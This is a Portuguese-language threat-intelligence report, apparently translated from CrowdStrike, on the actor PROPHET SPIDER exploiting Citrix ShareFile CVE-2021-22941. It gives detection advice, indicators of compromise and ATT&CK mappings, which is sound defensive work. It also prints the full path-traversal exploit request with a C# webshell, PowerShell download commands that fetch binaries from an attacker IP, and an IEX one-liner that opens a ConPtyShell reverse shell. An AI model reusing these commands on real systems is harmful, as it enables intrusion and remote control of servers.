PROPHET SPIDER explora a vulnerabilidade de execução remota de código Citrix ShareFile CVE-2021-22941 para entregar Webshell
No início de 2022, CrowdStrike Intelligence e CrowdStrike Services investigaram um incidente no qual o PROPHET SPIDER explorou CVE-2021-22941 – uma vulnerabilidade de execução remota de código (RCE) que afeta o Citrix ShareFile Storage Zones Controller – para comprometer um Microsoft Internet Information Services (IIS) servidor web.
O adversário explorou a vulnerabilidade para implantar um webshell que permitia o download de ferramentas adicionais. Este incidente destaca como o PROPHET SPIDER continua a evoluir seu ofício enquanto continua a explorar vulnerabilidades conhecidas do servidor web.
Fundo
PROFETA ARANHA
O PROPHET SPIDER é um ator do eCrime, ativo desde pelo menos maio de 2017, que obtém acesso principalmente às vítimas comprometendo servidores web vulneráveis, o que geralmente envolve o aproveitamento de uma variedade de vulnerabilidades divulgadas publicamente. O adversário provavelmente funcionou como um agente de acesso – cedendo acesso a terceiros para implantar ransomware – em várias instâncias.
CVE-2021-22941
Em setembro de 2021, a Citrix divulgou uma vulnerabilidade relativa de passagem de caminho no ShareFile Zones Storage Controller, designada CVE-2021-22941. Pouco tempo depois, pesquisadores de segurança demonstraram uma exploração de prova de conceito (POC) para o CVE. Com base nos detalhes técnicos conhecidos, outros conseguiram reproduzir explorações totalmente armadas para CVE-2021-22941 que proliferaram desde meados de outubro de 2021. A vulnerabilidade permite que um adversário sobrescreva um arquivo existente em um servidor de destino por meio de um uploadid
parâmetro passado em um solicitação HTTP .GET
Acesso inicial e exploração
Em 10 de janeiro de 2022, a PROPHET SPIDER enviou uma POST
solicitação HTTP para um servidor IIS de um cliente da plataforma CrowdStrike Falcon® , usando o agente do usuário python-requests/2.26.0
. A solicitação para /upload.aspx
continha o seguinte comando:
POST /upload.aspx?uploadid=%40using+System.Diagnostics%3B%40%7Bint+idx0%3D+0%3Bstring+str_idx0+%3D+idx0.ToString%28%29%3B+int+idx1+%3D+1%3Bstring+str_idx1+%3D+idx1.ToString%28%29%3Bstring+cmd+%3D+Request.QueryString%5Bstr_idx0%5D%3Bstring+arg+%3D+Request.QueryString%5Bstr_idx1%5D%3BProcess.Start%28cmd%2Carg%29%3B%7D%2F..%2F..%2FConfigService%5CViews%5CShared%5CError.cshtml&bp=123&accountid=123
Existem três componentes principais para esta solicitação.
O endpoint URI /upload.aspx
é usado para uploads do ShareFile e geralmente vem com parâmetros para definir as especificações do objeto de upload, como uploadid, cid ou batchid. Nesse caso, o parâmetro uploadid continha um webshell:
uploadid=@using+System.Diagnostics;@{int+idx0=+0;string+str_idx0+=+idx0.ToString();+int+idx1+=+1;string+str_idx1+=+idx1.ToString();string+cmd+=+Request.QueryString[str_idx0];string+arg+=+Request.QueryString[str_idx1];Process.Start(cmd,arg);}
Este é o conteúdo que o exploit gravará em um arquivo ASP.NET; ele usa a sintaxe Razor, onde @<keyword>
permite que uma palavra-chave seja usada como um nome de variável e @{
é usada para abrir um bloco de código C#. O método C# Process.Start(cmd,arg);
fornece a função backdoor que será usada para executar comandos arbitrários.
/../../ConfigService\Views\Shared\Error.cshtml
Esta é a travessia do caminho relativo que permitirá que a carga útil sobrescreva a Error.cshtml
página legítima.
bp=123&accountid=123
Esses são os parâmetros esperados pela função de upload e incluídos para evitar a ocorrência de um erro. Além disso, esses valores correspondem aos caracteres padrão usados na exploração CVE-2021-22941 disponível publicamente mencionada anteriormente .
Os analistas que procuram evidências de tentativa de exploração do CVE-2021-22941 podem examinar os logs de acesso do IIS para solicitações da Web que:
- Alvo
upload.aspx
- Contêm strings codificadas para
../
eConfigService\Views\Shared\Error.cshtml
nos parâmetros de URL - Pode conter
&bp=123&accountid=123
se o invasor não personalizou a carga útil
Depois que o webshell estiver definido, ele poderá ser acessado enviando uma solicitação HTTP para /configservice/Home/Error
com um ou dois parâmetros de URL. O ASP.NET direcionará essas solicitações para Error.cshtml
, que geralmente contém um cabeçalho HTML simples dizendo “Desculpe, ocorreu um erro ao processar sua solicitação”. Devido à exploração, o conteúdo foi substituído pelo bloco de código C# e será invocado Process.Start(cmd.arg)
usando os parâmetros de URL passados na GET
solicitação.
Comandos de pós-exploração
Após obter o acesso inicial, o PROPHET SPIDER usou o seguinte comando para testar a conectividade:
CMD.exe /C nslookup xab8v404gwftvw5nvw95ig6ybphf54.burpcollaborator[.]net</code
Se for bem-sucedido, esse comando executa uma pesquisa de nome em um subdomínio de burpcollaborator[.]net
, que a ferramenta de teste de vulnerabilidade de código aberto BurpSuite pode verificar para confirmar os sistemas de resposta.
Em seguida, o adversário tentou executar comandos codificados do PowerShell que foram decodificados para:
powershell -Command (New-Object System.Net.WebClient).DownloadFile('http[:]//45.61.136[.]39:443/wget[.]bin','C:\Windows\temp\wget.bin')
cmd /c c:\Windows\temp\wget.bin -t 1 http[:]//45.61.136[.]39:443/winn.exe -O c:\windows\temp\wi.exe
Esses comandos tentaram baixar o wget
utilitário legítimo de um endereço IP remoto e, em seguida, tentaram usar wget
para baixar outro binário remoto, chamado winn.exe
. O winn.exe
download não foi bem-sucedido. O adversário então tentou instalar um shell reverso de código aberto do GitHub:
powershell -Command IEX(IWR https[:]//raw.githubusercontent[.]com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 107.181.187[.]184 -RemotePort 4242 -Rows 44 -Cols 166
Essa carga tentou carregar o ConPtyShell
shell reverso diretamente do GitHub, com parâmetros para se conectar de volta ao endereço IP 107.181.187[.]184
pela porta TCP 4242
.
Conclusão
Como o CrowdStrike Intelligence relatou anteriormente, o PROPHET SPIDER é um ator oportunista do eCrime que explora vulnerabilidades de servidor divulgadas publicamente , geralmente para fornecer webshells. Essa exploração recente do CVE-2021-22941 demonstra a disposição do adversário em operacionalizar um código de exploração novo e diferente, bem como sua preferência duradoura por implantar o wget
utilitário para iniciar as operações.
Indicadores de Compromisso (IOCs)
Descrição | Endereços IP |
Hospedagem de sites wget.bin ewinn.exe | 45.61.136[.]39 |
Destino de retorno de chamada para ConPtyShell shell reverso | 107.181.187[.]184 |
Fonte observada explorando CVE-2021-22941 | 188.119.149[.]160 |
ConPtyShell Shell reverso de hospedagem de sites | hxxps[:]//raw.githubusercontent[.]com |
Táticas Observadas MITRE ATT&CK®
Tática | Descrição |
Acesso inicial | T1190: Explorar o aplicativo voltado para o público |
Execução | T1059.001: Interpretador de comandos e scripts: PowerShell |
Persistência | T1505.003: Componente de software do servidor: Web Shell |
Comando e controle | T1071: Protocolo de camada de aplicativo |
T1105: Transferência de Ferramenta de Entrada |
Fonte: https://www.crowdstrike.com/